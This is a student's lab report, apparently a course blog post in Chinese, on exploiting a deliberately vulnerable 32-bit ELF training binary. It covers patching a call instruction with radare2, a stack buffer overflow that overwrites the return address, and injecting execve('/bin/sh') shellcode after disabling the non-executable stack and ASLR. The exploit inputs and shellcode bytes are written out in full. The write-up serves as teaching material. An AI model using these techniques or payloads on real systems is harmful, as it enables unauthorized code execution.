20252912 2024-2025-2 《网络攻防实践》实验九

1 实验内容

有一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的

1.1 通过修改文件跳转到getshell

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

1.2 利用缓冲区溢出漏洞跳转到getshell

利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

1.3 通过自制shellcode得到shell

注入一个自己制作的shellcode并运行这段shellcode

2 基础知识

2.1 Radare2

Radare2(r2)是一个功能强大、开源且跨平台的逆向工具,与 IDA Pro 等商业工具不同,Radare2 的核心是命令行界面,更加轻量且具有更好的灵活性和脚本化能力,kali中一般自带Radare2工具

# 加载并自动分析二进制文件
r2 -A 文件路径
# 以可写的方式分析二进制文件
r2 -Aw 文件路径
# 列出所有函数及其地址等信息
afl
# 跳转到某个地址/某个函数所在位置
s 地址/函数名
# 反汇编所在位置或者函数
pdf
# 反汇编函数
pdf @ 函数名
# 列出可打印字符串
iz
# 进入可视化模式,浏览多个视图
v
# 以16进制方式修改所在位置指令
wx 16进制
# 以汇编代码的方式修改所在位置指令
wa 汇编代码

2.2 gdb

gdb是 Linux 环境下强大的命令行调试工具

# 调试程序
gdb 程序路径
# 运行程序
r
# 设置断点
b *地址
# 继续运行程序 
c
# 执行下一条指令
si
# 跟踪进程
attach 进程id
# 查看寄存器的值
info r
# 打印变量的值
p 变量
# 以16进制形式显示16字节所在内存单元的数据
x/16x 地址

3 实验过程

3.1 分析程序

使用file查看文件类型

image

可以看到pwn1为ELF文件,即linux平台的可执行文件,所以我们可以在自己的kali中尝试运行下这个程序

image

随便输入了一些内容,发现这个程序的功能是将输入的内容直接输出,当输入的内容过长时便会报错
接下来我们用Radare2工具对其进行逆向分析

# -A对文件进行反汇编
r2 -A pwn2912
# 查看文件中的所有函数
afl

image

image

我们从main函数入手,查看汇编代码

pdf@main

image

解释一下main函数做了啥事:

push ebp
mov ebp,esp			;函数开头都这样写,将函数栈底地址入栈保存,然后将栈顶地址赋值给栈底地址,等价于一条enter命令
and esp,0xffffff0		;将栈顶指针对齐16字节
call sym.foo			;调用sym.foo函数
mov eax,0			;eax赋值为0,eax为函数的返回值,相当于return 0
leave				;等价于move esp,ebp , pop ebp与enter互逆
ret				;弹出栈中的返回地址并跳转

所以main函数中仅仅调用了sym.foo函数,因此下面分析下sym.foo函数的汇编代码

pdf@sym.foo

image

push ebp
mov ebp, esp
sub esp, 0x38			;esp-0x38
lea eax, [s]			;相当于eax=&(*s),把s指向的地址赋值给eax
mov dword [esp], eax		;将eax赋值给esp指向的内存区域
call sym.imp.gets		;调用gets函数
lea eax, [s]
mov dword [esp], eax
call sym.imp.puts		;调用puts函数
leave
ret

因此这个函数主要功能是将直接输出用户输入的字符串,与我们运行时看到的结果一致,当输入的字符串过长时报错可能就是s指向的内存空间溢出导致的

image

这个函数的功能就是system("/bin/sh")打开终端

3.2 通过修改文件跳转到getshell

通过前面的分析可知,main函数调用了foo函数,foo函数的地址为0x8048491,call指令的下一条指令地址为0x80484ba,打开kali中的计算器,使用编程模式,32位,计算偏移量为-29,将-29按位取反后加一得到补码ffffffd7

image

而main函数中的call指令二进制为e8d7ffffff,由此可知e8为call的操作码,d7ffffff为偏移量,以小端方式存储

我们只需要修改偏移量使得call调用getShell函数即可,getShell函数的地址为0x804847d,使用计算器计算偏移量为ffffffc3

image

因此我们只需要将指令e8d7ffffff改为e8c3ffffff即可

# 拷贝一下pwn2912
cp pwn2912 pwn2912_
# -w 以写方式打开pwn2912_
r2 -Aw pwn2912_
# 跳转到call命令所在地址
s 0x080484b5
# 以16进制方式修改所在位置的命令
wx e8c3ffffff
# 查看当前位置的第一条命令,验证是否修改
pd1

image

image

可以看到,我们已经修改成功
其实也可以在跳转到call命令所在地址后使用wa call sym.getShell以汇编的形式直接修改,不用计算偏移量,更加的方便,这里为了展示一下程序的底层原理于是用了16进制的方式修改
接下来运行pwn2

image

成功getShell

3.3 利用缓冲区溢出漏洞跳转到getshell

使用gdb调试pwn1

gdb pwn2912
# 运行程序
r
# 查看寄存器状态
info r

image
image

image

eip寄存器指向下一条指令的地址,当输入字符串"0000111122223333444455556666777788889999"时,eip内容是0x38383838,0x38为'8'的ASCII码,因此缓冲区长度为8*4B=32B
getShell函数的地址为0x804847d,由于eip中的字节以小端形式存储,因此跳转到getShell函数应当构造输入:00000000000000000000000000000000\x7d\x84\x04\x08
由于\x7d\x84\x04\x08为不可打印字符,因此我们先将输入存到文件中,再将文件内容传给程序

echo echo "00000000000000000000000000000000\x7d\x84\x04\x08" > input
(cat input; cat) | ./pwn2912

运行结果:

image

缓冲区成功溢出!

3.4 通过自制shellcode得到shell

由于我们注入的Shellcode需要在栈中执行,因此首先要设置程序的堆栈区域可执行,由于我们是采用覆盖ret指令的返回地址为Shellcode首地址的方式,而Shellcode在栈中,因此要保证程序每次运行时Shellcode在栈中的地址固定,因此需要关闭地址随机化ASLR

# 设置pwn1堆栈区域可执行
execstack -s pwn2912
# 关闭地址随机化ASLR
echo "0" > /proc/sys/kernel/randomize_va_space

这里我们将shellcode注入到返回地址所在位置的下一个位置,因此首先要确定返回地址的存储位置,而当程序执行到ret时,esp正好指向返回地址
这里我们开两个终端,第一个终端运行pwn1后暂时先不输入,第二个终端执行下面命令

# 过滤含有pwn2912的进程,得到pwn1进程的id
ps -ef | grep pwn2912
gdb
# gdb跟踪pwn2912进程
attach pwn2912进程的id
# 0x80484ae是ret指令的地址,在这里设置断点
b *0x80484ae

接下来在第一个终端中随便输入写字符串然后回车,此时进程没有反应,因为此时进程处于调试状态,接着在第二个终端执行:

# 继续运行程序到断点
c
# 运行到ret位置时查看esp指向的地址
info r esp

终端1:

image

终端2:
image

image

由此我们得到返回地址的存储地址为0xffffcebc,长度为4B,因此我们的shellcode首地址为0xffffcec0
前面提到缓冲区长度为32B,我们用32个'0'填充
返回地址改为小端形式"\xc0\xce\xff\xff"
shellcode可以在网站上面的,自己写好后编译转为16进制也没问题,这里我找了一个"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"
于是得到我们需要的合适输入:
00000000000000000000000000000000\xc0\xce\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

echo "00000000000000000000000000000000\xc0\xce\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00">input
(cat input; cat)| ./pwn2912

执行结果:

image

成功得到shell

4 实验问题

4.1 kali中没有execstack工具

执行sudo apt update && sudo apt install execstack无法下载

image

于是只好手动下载
http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1ubuntu1_amd64.deb
执行sudo dpkg -i execstack_0.0.20131005-1.1ubuntu1_amd64.deb安装

image

4.2 实验3.4中缓冲区溢出失败

关闭ASLR之后为了获得返回地址的存储位置,一开始我直接使用gdb调试程序,设置断点运行到ret查看esp指向地址

image

这里esp指向的地址与实验中gdb跟踪的进程的esp地址不一样,gdb调试程序时程序运行在gdb设置的特定环境中,与程序正常运行的环境有所区别,因此两种环境下esp指向地址不同,如果用gdb调试环境下的esp地址制作shellcode当然是不行的,因此有了实验中的在bash中运行程序,gdb通过attch监听,此时得到的esp地址才可用于shellcode

5 实验感悟

这次攻防实验不仅提升了我的动手能力,更让我对程序内存布局、漏洞利用原理有了更深入的理解,为后续的Pwn学习打下了坚实基础。

posted @ 2026-05-07 22:31  bbbbbbbbbb123  阅读(16)  评论(0)    收藏  举报